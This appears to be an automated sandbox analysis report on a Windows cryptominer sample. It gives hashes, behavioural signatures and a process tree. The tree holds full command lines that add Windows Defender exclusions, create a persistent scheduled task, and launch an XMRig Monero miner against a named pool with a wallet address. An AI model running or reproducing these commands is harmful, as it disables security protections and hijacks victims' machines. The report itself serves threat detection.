Analysis
- max time kernel
138s - max time network
145s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system - submitted
27/11/2022, 15:59
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20220812-en
14 signatures
150 seconds
General
- Target file.exe
- Size 3.0MB
- Sample221127-te21msab67
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- XMRig Miner payload 3 IoCs
resource yara_rule behavioral1/memory/836-175-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/836-179-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/836-186-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 616 SLNYW.exe - Loads dropped DLL 7 IoCs
pid Process 1184 cmd.exe 1184 cmd.exe 824 WerFault.exe 824 WerFault.exe 824 WerFault.exe 824 WerFault.exe 824 WerFault.exe - Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 616 set thread context of 836 616 SLNYW.exe 44 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 824 616 WerFault.exe 35 - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1988 schtasks.exe - Delays execution with timeout.exe 1 IoCs
pid Process 1412 timeout.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1684 file.exe 616 SLNYW.exe 2036 powershell.exe 568 powershell.exe 1716 powershell.exe 1508 powershell.exe 616 SLNYW.exe - Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 1684 file.exe Token: SeDebugPrivilege 616 SLNYW.exe Token: SeDebugPrivilege 2036 powershell.exe Token: SeDebugPrivilege 568 powershell.exe Token: SeDebugPrivilege 1716 powershell.exe Token: SeDebugPrivilege 1508 powershell.exe Token: SeLockMemoryPrivilege 836 vbc.exe Token: SeLockMemoryPrivilege 836 vbc.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 836 vbc.exe - Suspicious use of WriteProcessMemory 45 IoCs
description pid Process procid_target PID 1684 wrote to memory of 1716 1684 file.exe 28 PID 1684 wrote to memory of 1716 1684 file.exe 28 PID 1684 wrote to memory of 1716 1684 file.exe 28 PID 1684 wrote to memory of 2036 1684 file.exe 30 PID 1684 wrote to memory of 2036 1684 file.exe 30 PID 1684 wrote to memory of 2036 1684 file.exe 30 PID 1684 wrote to memory of 1184 1684 file.exe 32 PID 1684 wrote to memory of 1184 1684 file.exe 32 PID 1684 wrote to memory of 1184 1684 file.exe 32 PID 1184 wrote to memory of 1412 1184 cmd.exe 34 PID 1184 wrote to memory of 1412 1184 cmd.exe 34 PID 1184 wrote to memory of 1412 1184 cmd.exe 34 PID 1184 wrote to memory of 616 1184 cmd.exe 35 PID 1184 wrote to memory of 616 1184 cmd.exe 35 PID 1184 wrote to memory of 616 1184 cmd.exe 35 PID 616 wrote to memory of 1508 616 SLNYW.exe 36 PID 616 wrote to memory of 1508 616 SLNYW.exe 36 PID 616 wrote to memory of 1508 616 SLNYW.exe 36 PID 616 wrote to memory of 568 616 SLNYW.exe 37 PID 616 wrote to memory of 568 616 SLNYW.exe 37 PID 616 wrote to memory of 568 616 SLNYW.exe 37 PID 616 wrote to memory of 876 616 SLNYW.exe 40 PID 616 wrote to memory of 876 616 SLNYW.exe 40 PID 616 wrote to memory of 876 616 SLNYW.exe 40 PID 876 wrote to memory of 1988 876 cmd.exe 42 PID 876 wrote to memory of 1988 876 cmd.exe 42 PID 876 wrote to memory of 1988 876 cmd.exe 42 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 836 616 SLNYW.exe 44 PID 616 wrote to memory of 824 616 SLNYW.exe 45 PID 616 wrote to memory of 824 616 SLNYW.exe 45 PID 616 wrote to memory of 824 616 SLNYW.exe 45
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp4ECD.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:1412
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C:\ProgramData\template\SLNYW.exe"C:\ProgramData\template\SLNYW.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1508
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:568
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"5⤵
- Creates scheduled task(s)
PID:1988
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:836
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 616 -s 20604⤵
- Loads dropped DLL
- Program crash
PID:824
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\tmp4ECD.tmp.bat
- Size 142B
- SHA256 5439e64044a6ec1cdba87697bb4892918bca7bcd9e99454d14731522396b0b33
- MD5 44d781594a890268d29743ec0177d089
- SHA1 f045a9fef902646ef947b9c5723b60d4ce71c22a
- SHA512 673f802676724de2909e80a7acbdd513a29d2011308b0639909f8a4ecfabd6c7d96364401b9402531221e06c3a9a2ac98cb7174408783fd64475813dfc622b56
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 7KB
- SHA256 3c8067a4e429e52b3a8cc7ef9b081e2e5e91a5d5abd1851549ad5766a346de13
- MD5 73445aae5f4c4829de561784e6a7d78c
- SHA1 433f7293b3bf831242895a7edf2ac2330be7e498
- SHA512 caf8d663849d4d5d100e43515fe1324ee7ec942433ba834d1bd475535dd1b681a5586864b6b31d55e7d56682850cfc71f55d688b156da301b6f8648cbcce8546
- SSDEEP 96:ohmxCNM84nqvsqvJCwod5xhmxCNM84nqvsEHyqvJCwor/58b2tQHqB7gbXlUVScC:IrkUojrkAHnorKM3B7gbv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 7KB
- SHA256 3c8067a4e429e52b3a8cc7ef9b081e2e5e91a5d5abd1851549ad5766a346de13
- MD5 73445aae5f4c4829de561784e6a7d78c
- SHA1 433f7293b3bf831242895a7edf2ac2330be7e498
- SHA512 caf8d663849d4d5d100e43515fe1324ee7ec942433ba834d1bd475535dd1b681a5586864b6b31d55e7d56682850cfc71f55d688b156da301b6f8648cbcce8546
- SSDEEP 96:ohmxCNM84nqvsqvJCwod5xhmxCNM84nqvsEHyqvJCwor/58b2tQHqB7gbXlUVScC:IrkUojrkAHnorKM3B7gbv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 7KB
- SHA256 3c8067a4e429e52b3a8cc7ef9b081e2e5e91a5d5abd1851549ad5766a346de13
- MD5 73445aae5f4c4829de561784e6a7d78c
- SHA1 433f7293b3bf831242895a7edf2ac2330be7e498
- SHA512 caf8d663849d4d5d100e43515fe1324ee7ec942433ba834d1bd475535dd1b681a5586864b6b31d55e7d56682850cfc71f55d688b156da301b6f8648cbcce8546
- SSDEEP 96:ohmxCNM84nqvsqvJCwod5xhmxCNM84nqvsEHyqvJCwor/58b2tQHqB7gbXlUVScC:IrkUojrkAHnorKM3B7gbv
- MD5 SHA1 SHA512 SSDEEP
- Path \ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path \ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path \ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path \ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path \ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path \ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP
- Path \ProgramData\template\SLNYW.exe
- Size 3.0MB
- SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
- MD5 0c622feef305af2c28e228cefb8181a4
- SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
- SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
- SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
- MD5 SHA1 SHA512 SSDEEP